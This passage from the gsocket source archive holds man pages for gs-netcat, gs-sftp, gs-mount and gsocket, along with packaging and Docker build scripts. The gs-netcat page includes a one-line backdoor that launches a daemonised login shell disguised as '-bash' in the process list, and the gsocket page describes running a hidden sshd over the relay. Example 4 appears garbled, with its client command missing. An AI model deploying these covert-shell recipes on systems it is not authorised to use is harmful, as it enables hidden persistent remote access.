.Sh OPTIONS
.Bl -tag -width Ds
.It Fl s Ar secret
A password chosen by the user. Both users need to use the same password to connect.
.It Fl k Ar FILE
A file containing the password.
.It Fl l
Server mode. The default mode is client.
.It Fl R
Places server (-l) into a read-only mode. Attempts to open files for writing, as well as other operations that change the state of the filesystem, will be denied.
.It Fl T
Use TOR. The
.Nm
tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables.
.El
.Pp
See
.Xr gs-netcat(1)
for more options.
.Sh EXAMPLES
.Nm Example 1
- Alice sharing her current directory:
.Dl $ gs-mount -s MySecret -l
.Pp
Bob mounting Alice's directory to ~/gs-alice:
.Dl $ gs-mount -s MySecret ~/gs-alice
.Pp
.Sh ENVIRONMENT
See
.Xr gs-netcat(1)
for a list of supported environment variables.
.Pp
.Sh SEE ALSO
.Xr gsocket(1) ,
.Xr gs-netcat(1) ,
.Xr gs-sftp(1) ,
.Xr blitz(1) ,
.Xr sshfs(1)
.Pp
.Sh BUGS
Efforts have been made to have
.Nm
"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave.
gsocket-1.4.33/man/gs-netcat.1 0000775 0000000 0000000 00000024242 14072625040 0015772 0 ustar 00root root 0000000 0000000 \# .TH gs-netcat 1 "08 October 2020" "1.0" "gs-netcat man page"
.Dd October 08, 2020
.Dt GS-NETCAT 1
.Os
.Sh NAME
.Nm gs-netcat
.Nd transfer data, forward traffic and execute commands on a remote host. Securely.
.Sh SYNOPSIS
.Nm gs-netcat
.Op Fl rlgvqwCTSDiu
.Op Fl s Ar secret
.Op Fl k Ar keyfile
.Op Fl L Ar logfile
.Op Fl d Ar IP
.Op Fl p Ar port
.Op Fl e Ar cmd
.Sh DESCRIPTION
The
.Nm
utility is a re-implementation of netcat. It allows two or more users to establish a secure TCP connection with each other in a scenario where all users are behind NAT/Firewall and would not be able to connect to each other directly. Typically a connection between one workstation and another workstation on a different Local Area Network.
.Pp
It uses the Global Socket Relay Network (GSRN) instead of direct TCP connections. Neither workstation needs to open a port in their firewall or accept incoming TCP connections.
.Pp
The connection is end-2-end encrypted using SRP (RFC 5054) with AES-256 and a 4096 Prime. The GSRN sees only the encrypted traffic.
.Pp
Common uses include:
.Pp
.Bl -bullet -offset indent -compact
.It
simple TCP proxies
.It
PTY shell
.It
File transfer
.It
a SOCKS ProxyCommand for
.Xr ssh 1
.It
and much, much more.
.El
.Pp
.Sh OPTIONS
.Bl -tag -width Ds
.It Fl C
Disable encryption and use clear-text instead. Use with caution.
.It Fl d Ar ip
Destination IPv4 address for port forwarding.
.It Fl D
Daemon & Watchdog mode. Start
.Nm
as a background process and restart if killed.
.It Fl e Ar cmd
Execute command and send output to the connected client. Needs -l.
.It Fl g
Generate a secure random password and output it to standard output.
.It Fl i
Interactive login shell. The server spawns a true PTY login shell. The client acts as a true PTY client (with Ctrl-C etc working). The client can terminate the session by typing 'Ctrl-e q' at any time or by typing 'exit'. The server supports multiple clients at the same time.
.It Fl k Ar file
A file containing the password.
.It Fl l
Server/Listening mode. The default mode is client.
.It Fl L Ar file
Log file [default: standard out]
.It Fl p Ar port
Port to listen on or to forward traffic to [1-65535].
.It Fl q
Quiet mode. Do not output any warnings or errors.
.It Fl r
Receive-only. Do not send any data. Terminate when no more data is available for reading.
.It Fl s Ar secret
A password chosen by the user. Both users need to use the same password to connect.
.It Fl S
Act as a SOCKS4/4a/5 server. The server acts as a SOCKS4/4a/5 proxy. It allows multiple
.Nm
clients to (securely) relay traffic via the server. Needs -l.
.It Fl T
Use TOR. The
.Nm
tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables.
.It Fl u
Use UDP instead of TCP for port forwarding. Needs -p.
.It Fl v
Prints status messages. Use -vv to be more verbose and -vvv to be insanely verbose.
.It Fl w
Client to wait for the listening server to become available.
.El
.Sh CONSOLE
The interactive login shell (
.Ar -i
) has a command console. Pressing 'Ctrl-e c' (e for EEEElite) opens the command console. The command console displays the following information:
.Pp
.Bl -bullet -offset indent -compact
.It
Latency (in milliseconds) to the remote host
.It
Warning when a user logs into the system or becomes active
.It
Data throughput
.It
File transfer logs
.El
Type 'help' for a list of available commands.
.Sh FILETRANSFER
File transfer is available from the command console. Files are transferred with the permission and modification timestamp unchanged. Partially transferred files are re-started where the transfer was left off.
The 'put' command is used for uploading:
.Dl put foobar.txt
.Dl put $HOME/foobar.txt
.Dl put /tmp/*.log
.Dl put $(find . -type f -name '*.c')
(The above example shows Shell Variable substitution and word expansion)
It is possible to limit the amount of path information that is sent as implied directories for each path you specify. You can insert a dot and a slash into the source path, like this:
.Dl put /foo/./bar/baz.c
That would create /tmp/bar/baz.c on the remote machine.
The 'get' command is used for downloading:
.Dl get foobar.txt
.Dl get $(find /var/./ -name '*.log')
Transferring a directory automatically transfers all files and directories within that directory (recursively):
.Dl get /var/log
.Dl get /
The first command transfers all directories and files in /var/log/*. The latter command transfers the entire filesystem.
Multiple get/put commands can be scheduled at the same time.
.Sh EXAMPLES
.Nm Example 1
- Listen for a new connection using the password 'MySecret':
.Dl $ gs-netcat -s MySecret -l
.Pp
Connect with client using the same password:
.Dl $ gs-netcat -s MySecret
.Pp
.Nm Example 2
- spawn a PTY login shell when a client connects:
.Dl $ gs-netcat -s MySecret -l -i
.Pp
Log in to server's interactive shell:
.Dl $ gs-netcat -s MySecret -i
.Pp
.Nm Example 3
- Execute a command when a client connects:
.Dl $ gs-netcat -s MySecret -l -e 'echo hello world; id; exit'
.Pp
Connect client to the server:
.Dl $ gs-netcat -s MySecret
.Pp
.Nm Example 4
- Pipe data from client to server:
.Dl $ gs-netcat -s MySecret -l -r >warez.tar.gz
.Pp
Client to read 'warez.tar.gz' and pipe it to the server.
.Dl $ gs-netcat -s MySecret /dev/null || (GSOCKET_ARGS="-s MySecret3 -liqD" SHELL=/bin/bash exec -a -bash /usr/local/bin/gs-netcat)
.Pp
The '(...)' brackets start a sub-shell which is then replaced (by exec) with the gs-netcat process. The process is hidden (as -bash) from the process list.
.Pp
Client to connect to the backdoor:
.Dl $ gs-netcat -s MySecret -i
.Sh ENVIRONMENT
The following environment variables can be set to control the behavior of
.Nm
.Pp
.Nm GSOCKET_SOCKS_IP
.Dl Specify the IP address of the TOR server (or any other SOCKS server). Default is 127.0.0.1.
.Pp
.Nm GSOCKET_SOCKS_PORT
.Dl The port number of the TOR server (or any other SOCKS server). Default is 9050.
.Pp
.Nm GSOCKET_ARGS
.Dl A string containing additional command line parameters. First the normal command line parameters are processed and then the command line parameters from GSOCKET_ARGS.
.Sh SECURITY
Passing the password as command line parameter is not secure. Consider using the -k option or GSOCKET_ARGS or enter the password when prompted:
.Pp
.Dl $ gs-netcat -k
.Pp
.Dl $ export GSOCKET_ARGS="-s MySecret"
.Dl $ gs-netcat
.Pp
.Nm 1.
The security is end-2-end. This means from User-2-User (and not just to the GSRN). The GSRN relays only (encrypted) data to and from the users.
.Pp
.Nm 2.
The session is 256 bit and ephemeral. It is freshly generated for every session and generated randomly (and is not based on the password). It uses OpenSSL's SRP with AES-256 and a 4096 Prime.
.Pp
.Nm 3.
The password can be 'weak' without weakening the security of the session. A brute force attack against a weak password requires a new TCP connection for every guess.
.Pp
.Nm 4.
Do not use stupid passwords like 'password123'. Malice might pick the same (stupid) password by chance and connect. If in doubt use gs-netcat -g to generate a strong one. Alice's and Bob's password should at least be strong enough so that Malice can not guess it by chance while Alice is waiting for Bob to connect.
.Pp
.Nm 5.
If Alice shares the same password with Bob and Charlie and either one of them connects then Alice can not tell if it is Bob or Charlie who connected.
.Pp
.Nm 6.
Assume Alice shares the same password with Bob and Malice. When Alice stops listening for a connection then Malice could start to listen for the connection instead. Bob (when opening a new connection) can not tell if he is connecting to Alice or to Malice. Use -a if you worry about this. TL;DR: When sharing the same password with a group larger than 2 then it is assumed that everyone in that group plays nicely. Otherwise use SSH over the GS/TLS connection.
.Pp
.Nm 7.
SRP has Perfect Forward Secrecy. This means that past sessions can not be decrypted even if the password becomes known.
.Sh NOTES
The latest version is available from https://github.com/hackerschoice/gsocket/.
.Sh SEE ALSO
.Xr gsocket(1) ,
.Xr gs-sftp(1) ,
.Xr gs-mount(1) ,
.Xr blitz(1) ,
.Xr nc(1) ,
.Xr socat(1)
.Sh BUGS
Efforts have been made to have
.Nm
"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave.
gsocket-1.4.33/man/gs-sftp.1 0000775 0000000 0000000 00000003263 14072625040 0015470 0 ustar 00root root 0000000 0000000 .Dd October 12, 2020
.Dt GS-SFTP 1
.Os
.Sh NAME
.Nm gs-sftp
.Nd Secure File Transfer Protocol via Global Socket.
.Sh SYNOPSIS
.Nm gs-sftp
.Op Fl lTR
.Op Fl s Ar secret
.Op Fl k Ar keyfile
.Sh DESCRIPTION
The
.Nm
utility is a wrapper script for gs-netcat. It allows two users to establish a secure SFTP connetion via the Global Socket Relay Network (GSRN). This is useful in a scenario where both users are behind NAT/Firewall and unable to connect to each other directly.
.Pp
.Sh OPTIONS
.Bl -tag -width Ds
.It Fl s Ar secret
A password chosen by the user. Both users need to use the same password to connect.
.It Fl k Ar FILE
A file containing the password.
.It Fl l
Server mode. The default mode is client.
.It Fl R
Places server (-l) into a read-only mode. Attempts to open files for writing, as well as other operations that change the state of the filesystem, will be denied.
.It Fl T
Use TOR. The
.Nm
tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables.
.El
.Pp
See
.Xr gs-netcat(1)
for more options.
.Sh EXAMPLES
.Nm Example 1
- SFTP Server listening for clients using password 'MySecret':
.Dl $ gs-sftp -s MySecret -l
.Pp
Connect sftp-client using the same password:
.Dl $ gs-sftp -s MySecret
.Pp
.Sh ENVIRONMENT
See
.Xr gs-netcat(1)
for a list of supported environment variables.
.Pp
.Sh SEE ALSO
.Xr gsocket(1) ,
.Xr gs-netcat(1) ,
.Xr sftp(1)
.Pp
.Sh BUGS
Efforts have been made to have
.Nm
"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave.
gsocket-1.4.33/man/gsocket.1 0000775 0000000 0000000 00000017412 14072625040 0015545 0 ustar 00root root 0000000 0000000 \# .TH gsocket 1 "08 October 2020" "1.0" "gssocket man page"
.Dd March 02, 2021
.Dt gsocket 1
.Os
.Sh NAME
.Nm gsocket
.Nd connect like there is no firewall. Securely.
.Sh SYNOPSIS
.Nm gsocket
.Op Fl qT
.Op Fl s Ar secret
.Op Fl k Ar keyfile
.Op Fl p Ar port
.Op Ar program
.Op Ar args ...
.Sh DESCRIPTION
The
.Nm
tool can be used to enable a program to communicate through a firewall in situations where it would not be possible to establish a direct connection to another host/workstation (NATed/firewalled). The typical scenario is two workstations that are on separate private networks and behind separate firewalls. The
.Nm
tool hijacks the network library functions (such as connect() and accept()) of the program and encrypts and redirects the traffic through the Global Socket Relay Network (GSRN).
.Pp
Neither workstation needs to open a port in their firewall nor accept incoming TCP connections.
.Pp
The connection is end-2-end encrypted using SRP (RFC 5054) with AES-256 and a 4096 Prime. The GSRN sees only the encrypted traffic.
.Pp
Common uses include:
.Pp
.Bl -bullet -offset indent -compact
.It
ssh from one workstation to another
.It
OpenVPN between two workstations
.It
netcat between two workstations
.It
and much, much more.
.El
.Pp
...while both workstations are behind NAT and firewalled.
.Pp
Abandon the thought of IP addresses and port numbers: Two programs should be able to communicate with each other as long as they know the same secret (rather than each other's IP address and port number). The
.Nm
tools establishes such a connection regardless and independent of the local IP address or geographical location. It does so by analyzing the program and replacing the IP Layer with its own transport through GSRN. The connection is end-2-end encrypted. The GSRN sees only the encrypted traffic.
.Pp
The typical scenario is a client/server arrangement such as ssh and sshd: Connections by ssh to any hostname ending in '.gsocket' are redirected (through the GSRN) to the (firewalled) sshd server.
.Pp
The redirection is done per program (and limited to that program only). The
.Nm
tool does not change the routing table and does not change the NAT nor the firewall settings. It does not require superuser privileges either.
.Pp
.Sh OPTIONS
.Bl -tag -width Ds
.It Fl s Ar secret
A secret chosen by the user. Both ends need to use the same secret to connect.
.It Fl k Ar file
A file containing the secret.
.It Fl g
Generate a secure random secret and output it to standard output.
.It Fl q
Quiet mode. Do not output any warnings or errors.
.It Fl T
Use TOR. The
.Nm
tool will connect through TOR to the GSRN. This requires TOR to be installed and running.
.It Fl p Ar port
TCP port range of listening ports to redirect [default=all].
.El
.Pp
Connections to any hostname ending in '*.gsocket' or to the IP Address '127.31.33.7' are redirected through the GSRN.
.Pp
Connections to any hostname ending in '*.thc' or to the IP Address '127.31.33.8' are first redirected through TOR and then through the GSRN.
.Sh EXAMPLES
.Nm Example 1
- OpenSSH between two firewalled workstations:
.Pp
Server:
.Dl $ gsocket -s MySecret /usr/sbin/sshd
Client:
.Dl $ gsocket -s MySecret ssh xaitax@gsocket
.Pp
.Nm Example 2
- netcat between two firewalled workstations:
.Pp
Server:
.Dl $ gsocket -s MySecret nc -lp 31337
Client:
.Dl $ gsocket -s MySecret nc gsocket 31337
.Pp
.Nm Example 3
- OpenVPN between two firewalled workstations:
.Pp
Server:
.Dl $ gsocket -s MySecret openvpn --dev tun1 --proto tcp-server --ifconfig 10.9.8.1 10.9.8.2
Client:
.Dl $ gsocket -s MySecret openvpn --dev tun1 --proto tcp-client --ifconfig 10.9.8.2 10.9.8.1 --remote gsocket
.Pp
.Nm Example 4
- IRCD between two firewalled workstations:
.Pp
Server:
.Dl $ gsocket -s MySecret inspircd --nolog --nofork
Client:
.Dl $ gsocket -s MySecret irssi -c gsocket
.Pp
.Nm Example 5
- Socat between two firewalled workstations:
.Pp
Server:
.Dl $ gsocket -s MySecret socat - TCP_LISTEN:31337
Client:
.Dl $ gsocket -s MySecret socat - TCP:gsocket:31337
.Pp
.Sh SYSTEMCTL INSTALLATION
It is possible to make any service/daemon accessible through any firewall. The service is then only acessible through the GSRN and only if the client knows the secret. No port or service is exposed to the public Internet and the existence of the service remains hidden. This example makes openssh-server (sshd) accessible through the GSRN. Nobody, not even the GSRN operators, have access to the port, daemon or service (they do not know the secret). The new service coexists with the existing openssh-server and does not interfere with the existing openssh-server.
.Pp
1. Copy /etc/systemd/system/sshd to /etc/systemd/system/gs-sshd
.Pp
2. Edit /etc/systemd/system/gs-sshd and change this line:
.Dl ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
to
.Dl ExecStart=gsocket -s MySecret /usr/sbin/sshd -D $SSHD_OPTS
.Pp
3. Start the newly created service
.Dl # systemctl start gs-sshd
.Pp
4. Check the status
.Dl # systemctl status gs-sshd
.Pp
5. Connect from any other host to the newly created (hidden) openssh-server:
.Dl $ gsocket -s MySecret ssh user@gsocket
.Pp
.Sh ENVIRONMENT
The following environment variables can be set to control the behavior of
.Nm
.Pp
.Nm GSOCKET_SOCKS_IP
.Dl Specify the IP address of the TOR server (or any other SOCKS server). Default is 127.0.0.1.
.Pp
.Nm GSOCKET_SOCKS_PORT
.Dl The port number of the TOR server (or any other SOCKS server). Default is 9050.
.Pp
.Nm GSOCKET_ARGS
.Dl A string containing additional command line parameters. First the normal command line parameters are processed and then the command line parameters from GSOCKET_ARGS.
.Sh SECURITY
Passing the password as command line parameter is not secure. Consider using the -k option or GSOCKET_ARGS or enter the password when prompted:
.Pp
.Dl $ gsocket -k
.Pp
.Dl $ export GSOCKET_ARGS="-s MySecret"
.Dl $ gs
.Pp
.Nm 1.
The security is end-2-end. This means from user-2-user (and not just to the GSRN). The GSRN relays only (encrypted) data to and from the users.
.Pp
.Nm 2.
The session is 256 bit and ephemeral. It is freshly generated for every session and generated randomly (and is not based on the password). It uses OpenSSL's SRP with AES-256 and a 4096 Prime.
.Pp
.Nm 3.
The password can be 'weak' without weakening the security of the session. A brute force attack against a weak password requires a new TCP connection for every guess.
.Pp
.Nm 4.
Do not use stupid passwords like 'password123'. Malice might pick the same (stupid) password by chance and connect. If in doubt use gs-netcat -g to generate a strong one. Alice's and Bob's password should at least be strong enough so that Malice can not guess it by chance while Alice is waiting for Bob to connect.
.Pp
.Nm 5.
If Alice shares the same password with Bob and Charlie and either one of them connects then Alice can not tell if it is Bob or Charlie who connected.
.Pp
.Nm 6.
Assume Alice shares the same password with Bob and Malice. When Alice stops listening for a connection then Malice could start to listen for the connection instead. Bob (when opening a new connection) can not tell if he is connecting to Alice or to Malice. Use -a if you worry about this. TL;DR: When sharing the same password with a group larger than 2 then it is assumed that everyone in that group plays nicely. Otherwise use SSH over the GS/TLS connection.
.Pp
.Nm 7.
SRP has Perfect Forward Secrecy. This means that past sessions can not be decrypted even if the password becomes known.
.Sh NOTES
The latest version is available from https://github.com/hackerschoice/gsocket/.
.Sh SEE ALSO
.Xr gs-netcat 1 ,
.Xr gs-sftp 1 ,
.Xr gs-mount 1 ,
.Xr blitz 1 ,
.Xr nc 1 ,
.Xr socat 1
.Sh BUGS
Efforts have been made to have
.Nm
"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave.
gsocket-1.4.33/man/man2c.sh 0000775 0000000 0000000 00000000234 14072625040 0015352 0 ustar 00root root 0000000 0000000 #! /bin/bash
printf 'const char *man_str = \"\\\n'
man ./gs-netcat.1 2>/dev/null | col -b | sed 's/"/\\"/g' | perl -p -e 's/\n/\\n\\\n/'
printf '\";\n'
gsocket-1.4.33/man/man2html.sh 0000775 0000000 0000000 00000000304 14072625040 0016072 0 ustar 00root root 0000000 0000000 #! /bin/bash
for x in *.1; do
man2html -H hackerschoice.github.io -M'/' -p <"${x}" | sed -e 's/\(\:\/\/hackerschoice\.github\.io\/\)\/\([0-9]\)+\([a-z-]*\)/s\1\3.\2.html/g' >"${x}.html"
done
gsocket-1.4.33/packaging/ 0000775 0000000 0000000 00000000000 14072625040 0015165 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/Makefile 0000775 0000000 0000000 00000001120 14072625040 0016622 0 ustar 00root root 0000000 0000000
VERSION=1.4.23
BIN_NAME=gsocket
PKG_NAME=${BIN_NAME}-${VERSION}
debuild-setup: ../${PKG_NAME}.tar.gz
rm -rf build
mkdir build
cp ../${PKG_NAME}.tar.gz build && \
cd build && \
tar xfz ${PKG_NAME}.tar.gz
-cd build/${PKG_NAME} && \
dh_make -sy -f ../${PKG_NAME}.tar.gz && \
rm -f debian/*.EX debian/*.ex debian/*.docs debian/README.* && \
cp -a ../../debian/* debian/ && \
uscan .
debian-debuild: debuild-setup
cd build/${PKG_NAME} && \
debuild -S
lintian --pedantic -IE build/${BIN_NAME}_*.dsc
clean:
rm -rf ./build ./${PKG_NAME}.tar.gz
debian: debian-debuild
echo Done.
gsocket-1.4.33/packaging/debian-deb/ 0000775 0000000 0000000 00000000000 14072625040 0017137 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/debian-deb/DEBIAN/ 0000775 0000000 0000000 00000000000 14072625040 0020061 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/debian-deb/DEBIAN/control.in 0000775 0000000 0000000 00000000463 14072625040 0022077 0 ustar 00root root 0000000 0000000 Package: gsocket
Version: @@VER@@
Homepage: https://github.com/hackerschoice/gsocket
Architecture: all
Essential: no
Priority: optional
Depends: sshfs
Maintainer: Skyper/THC
Description: The Global Socket Tookit allows two users behind NAT/Firewall to establish a TCP connection with each other. Securely.
gsocket-1.4.33/packaging/debian-deb/Dockerfile 0000664 0000000 0000000 00000000414 14072625040 0021130 0 ustar 00root root 0000000 0000000 FROM debian
ENV OPENSSL_VER=1.1.1k
ENV OPENSSL_ARCH=linux-generic64
RUN apt update -y && \
apt install -y --no-install-recommends git sshfs libssl-dev libc6-dev automake gcc make curl ca-certificates && \
apt clean && \
rm -rf /var/lib/apt/lists/ && \
echo done
gsocket-1.4.33/packaging/debian-deb/build.sh 0000775 0000000 0000000 00000001573 14072625040 0020603 0 ustar 00root root 0000000 0000000 #! /bin/bash
test -d /gsocket-src || { echo >&2 "/gsocket-src does not exists."; exit 255; }
test -d /gsocket-deb || { echo >&2 "/gsocket-deb does not exists."; exit 255; }
[[ -z "$VER" ]] && { echo >&2 "VER not set"; exit 255; }
PREFIX="/gsocket-deb/build/gsocket_${VER}_all"
mkdir -p "${PREFIX}/DEBIAN" && \
sed "s/@@VER@@/$VER/" < /gsocket-deb/DEBIAN/control.in >"${PREFIX}/DEBIAN/control" && \
cd /gsocket-src && \
./configure --prefix="${PREFIX}/usr" --enable-realprefix=/usr && \
make install && \
cd /gsocket-deb/build && \
mv "${PREFIX}/usr/etc" "${PREFIX}" && \
find "$PREFIX" -type d -exec chmod 755 {} \; && \
dpkg-deb --build gsocket_${VER}_all/ && \
dpkg -i "gsocket_${VER}_all.deb" && \
dpkg -r gsocket && \
dpkg -l | grep gsocket || IS_OK=1
[[ -z "$IS_OK" ]] && { echo >&2 "error"; exit 255; }
mv "gsocket_${VER}_all.deb" "/gsocket-pkg/build" || exit 255
echo "SUCCESS."
gsocket-1.4.33/packaging/debian-deb/build_all.sh 0000775 0000000 0000000 00000001512 14072625040 0021424 0 ustar 00root root 0000000 0000000 #! /bin/bash
BASEDIR="$(cd "$(dirname "${0}")/../.." || exit; pwd)"
VER="$(grep AC_INIT "${BASEDIR}/configure.ac" | cut -f3 -d"[" | cut -f1 -d']')"
PKGDIR="${BASEDIR}/packaging"
SRCDIR="${BASEDIR}/packaging/build/gsocket-${VER}"
DEBDIR="${BASEDIR}/packaging/debian-deb"
if [[ ! -f "${SRCDIR}/configure.ac" ]]; then
tar_orig="${BASEDIR}/gsocket-${VER}.tar.gz"
[[ -f "$tar_orig" ]] && (cd "${BASEDIR}/packaging/build" && tar xfz "$tar_orig")
fi
[[ -d "$SRCDIR" ]] || { echo >&2 "Source not found: $SRCDIR or ${tar_orig}."; exit 255; }
dockername="gs-x86_64-debian-devel"
docker run --rm -it "${dockername}" true || docker build -t "${dockername}" . || { exit 255; }
docker run --rm -v "${PKGDIR}:/gsocket-pkg" -v "${SRCDIR}:/gsocket-src" -v "${DEBDIR}:/gsocket-deb" -e VER=$VER -it "${dockername}" /gsocket-deb/build.sh || { exit 255; }
gsocket-1.4.33/packaging/debian/ 0000775 0000000 0000000 00000000000 14072625040 0016407 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/debian/control 0000664 0000000 0000000 00000000004 14072625040 0020004 0 ustar 00root root 0000000 0000000 ...
gsocket-1.4.33/packaging/docker/ 0000775 0000000 0000000 00000000000 14072625040 0016434 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/docker/gsocket-tor/ 0000775 0000000 0000000 00000000000 14072625040 0020675 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/docker/gsocket-tor/Dockerfile 0000664 0000000 0000000 00000000316 14072625040 0022667 0 ustar 00root root 0000000 0000000 FROM hackerschoice/gsocket
WORKDIR /root/
RUN apt-get update -y \
&& apt-get install -y --no-install-recommends \
tor \
&& touch /root/.gs_with_tor \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/
gsocket-1.4.33/packaging/docker/gsocket/ 0000775 0000000 0000000 00000000000 14072625040 0020073 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/docker/gsocket/Dockerfile 0000664 0000000 0000000 00000000634 14072625040 0022070 0 ustar 00root root 0000000 0000000 FROM kalilinux/kali-rolling
# Must be debian compiled binaries:
COPY gsocket_latest_all.deb /tmp
COPY gs-motd /etc/
COPY bashrc /tmp
WORKDIR /root/
RUN apt update -y && \
apt install -y --no-install-recommends \
vim \
binutils \
openssl \
rsync \
openssh-server \
sshfs && \
apt-get clean && \
rm -rf /var/lib/apt/lists/ && \
dpkg -i /tmp/gsocket_latest_all.deb && \
cat /tmp/bashrc >>/root/.bashrc
gsocket-1.4.33/packaging/docker/gsocket/bashrc 0000664 0000000 0000000 00000001025 14072625040 0021256 0 ustar 00root root 0000000 0000000
[[ -f /etc/gs-motd ]] && echo -e "$(cat /etc/gs-motd)"
export SHELL=/bin/bash
export TERM=xterm-256color
if [[ -f ~/.gs_with_tor ]]; then
#PS1='${debian_chroot:+($debian_chroot)}\u@\h-\e[0;32mTOR\e[0m:\e[0;33m\w\e[0m\$ '
export GSOCKET_SOCKS_IP=127.0.0.1
export GSOCKET_SOCKS_PORT=9050
pidof tor >/dev/null || { tor --quiet & }
echo -e "TOR : \033[1;32menabled\033[0m - to disable execute 'unset GSOCKET_SOCKS_IP'"
else
echo -e "TOR : \033[1;31mDISABLED\033[0m - use hackerschoice/gsocket-tor for TOR support."
fi
gsocket-1.4.33/packaging/docker/gsocket/gs-motd 0000664 0000000 0000000 00000001723 14072625040 0021373 0 ustar 00root root 0000000 0000000 # Start this docker like so to access your ~/hax directory (optional):
[\033[0;33mhost\033[0m ] $ \033[1;34mdocker run --rm -it --name gsocket -v ~/hax:/hax hackerschoice/gsocket\033[0m
# And this command to have a second shell:
[\033[0;33mhost\033[0m ] $ \033[1;34mdocker exec -it gsocket bash\033[0m
Test your setup:
[\033[0;33mdocker\033[0m] $ \033[1;34mgs-sftp -s thctestserver\033[0m
Transfer files to a friend who has 'blitz -s foobar -l' running:
[\033[0;33mdocker\033[0m] $ \033[1;34mblitz -s foobar /hax/./mp3/*\033[0m
FTP to a friend who has 'gs-sftp -s foobar -l' running:
[\033[0;33mdocker\033[0m] $ \033[1;34mgs-sftp -s foobar\033[0m
Login to a friend's computer who has 'gs-netcat -s foobar -il' running:
[\033[0;33mdocker\033[0m] $ \033[1;34mgs-netcat -s foobar -i\033[0m
Help : gs-netcat -m | more
Commands: gs-netcat, gs-sftp, gs-mount, blitz
Latest : \033[1;35mhttps://www.gsocket.io\033[0m
Shoutz : Yogee for ideas & testing gsocket-1.4.33/packaging/gsnc-deploy-bin/ 0000775 0000000 0000000 00000000000 14072625040 0020157 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/ 0000775 0000000 0000000 00000000000 14072625040 0021426 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/build.sh 0000775 0000000 0000000 00000001077 14072625040 0023071 0 ustar 00root root 0000000 0000000 #! /bin/sh
# ^^^^^^^Mutli OS must use /bin/sh (alpine uses ash, debian uses dash)
# This script is executed inside a docker container.
# It is used to build gs-netcat as staticly linked binary for various OSes.
test -d /gsocket-src || { echo >&2 "/gsocket-src does not exists."; exit 255; }
test -d /gsocket-build || { echo >&2 "/gsocket-build does not exists."; exit 255; }
cd /gsocket-src && \
./configure --prefix=/root/usr --enable-static && \
make clean all
strip tools/gs-netcat
# Test execute the binary
tools/gs-netcat -g || { rm -f tools/gs-netcat; exit 255; }
gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/build_all.sh 0000775 0000000 0000000 00000003261 14072625040 0023716 0 ustar 00root root 0000000 0000000 #! /bin/bash
# Build all binaries for gsocket.io/x deployment scripts
# Use docker.
BASEDIR="$(cd "$(dirname "${0}")/../../../" || exit; pwd)"
VER="$(grep AC_INIT "${BASEDIR}/configure.ac" | cut -f3 -d"[" | cut -f1 -d']')"
SRCDIR="${BASEDIR}/packaging/build/gsocket-${VER}"
GSNCROOT="${BASEDIR}/packaging/gsnc-deploy-bin/docker"
if [[ ! -f "${SRCDIR}"/configure.ac ]]; then
tar_orig="${BASEDIR}/gsocket-${VER}.tar.gz"
[[ -f "$tar_orig" ]] && (cd "${BASEDIR}/packaging/build" && tar xfz "$tar_orig")
fi
[[ -d "$SRCDIR" ]] || { echo >&2 "Source not found: $SRCDIR or ${tar_orig}."; exit 255; }
docker_pack()
{
[[ -z $1 ]] && { echo >&2 "Parameters missing."; return; }
local dsttar
local filename
local dockername
local dstdir
filename="gs-netcat_${1}.tar.gz"
dstdir="${GSNCROOT}/.."
dsttar="${dstdir}/${filename}"
dockername="gs-${1}"
[[ -f "${dsttar}" ]] && { echo >&2 "${filename} exists. Skipping."; return; }
rm -f "${dsttar}"
# Create local docker container if it does not yet exist
docker run --rm -it "${dockername}" true || docker build -t "${dockername}" "${1}" || { exit 255; }
[[ -f "${SRCDIR}/tools/gs-netcat" ]] && rm -f "${SRCDIR}/tools/gs-netcat"
docker run --rm -v "${SRCDIR}:/gsocket-src" -v "${GSNCROOT}:/gsocket-build" -it "${dockername}" /gsocket-build/build.sh || { exit 255; }
(cd "${SRCDIR}/tools" && tar cfz "${dsttar}" --uid 0 --gid 0 gs-netcat)
(cd "${dstdir}" && shasum "${filename}" && ls -al "${filename}")
}
#docker_pack x86_64-centos
docker_pack x86_64-alpine
docker_pack i386-alpine
#docker_pack i386-debian
docker_pack x86_64-debian
# docker_pack x86_64-arch # NOT SUPPORTED. configure fails with "This script requires a shell more modern than all"
gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/i386-debian/ 0000775 0000000 0000000 00000000000 14072625040 0023337 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/i386-debian/Dockerfile 0000664 0000000 0000000 00000001115 14072625040 0025327 0 ustar 00root root 0000000 0000000 FROM i386/debian
ENV OPENSSL_VER=1.1.1k
ENV OPENSSL_ARCH=linux-generic32
RUN apt update -y && \
apt install -y --no-install-recommends automake gcc gcc-multilib make curl ca-certificates && \
apt clean && \
rm -rf /var/lib/apt/lists/ && \
curl https://www.openssl.org/source/openssl-${OPENSSL_VER}.tar.gz \
| tar -xzC /tmp/ && \
cd /tmp/openssl-${OPENSSL_VER} && \
./Configure --prefix=/root/usr no-tests no-dso no-threads no-shared ${OPENSSL_ARCH} && \
make install_sw && \
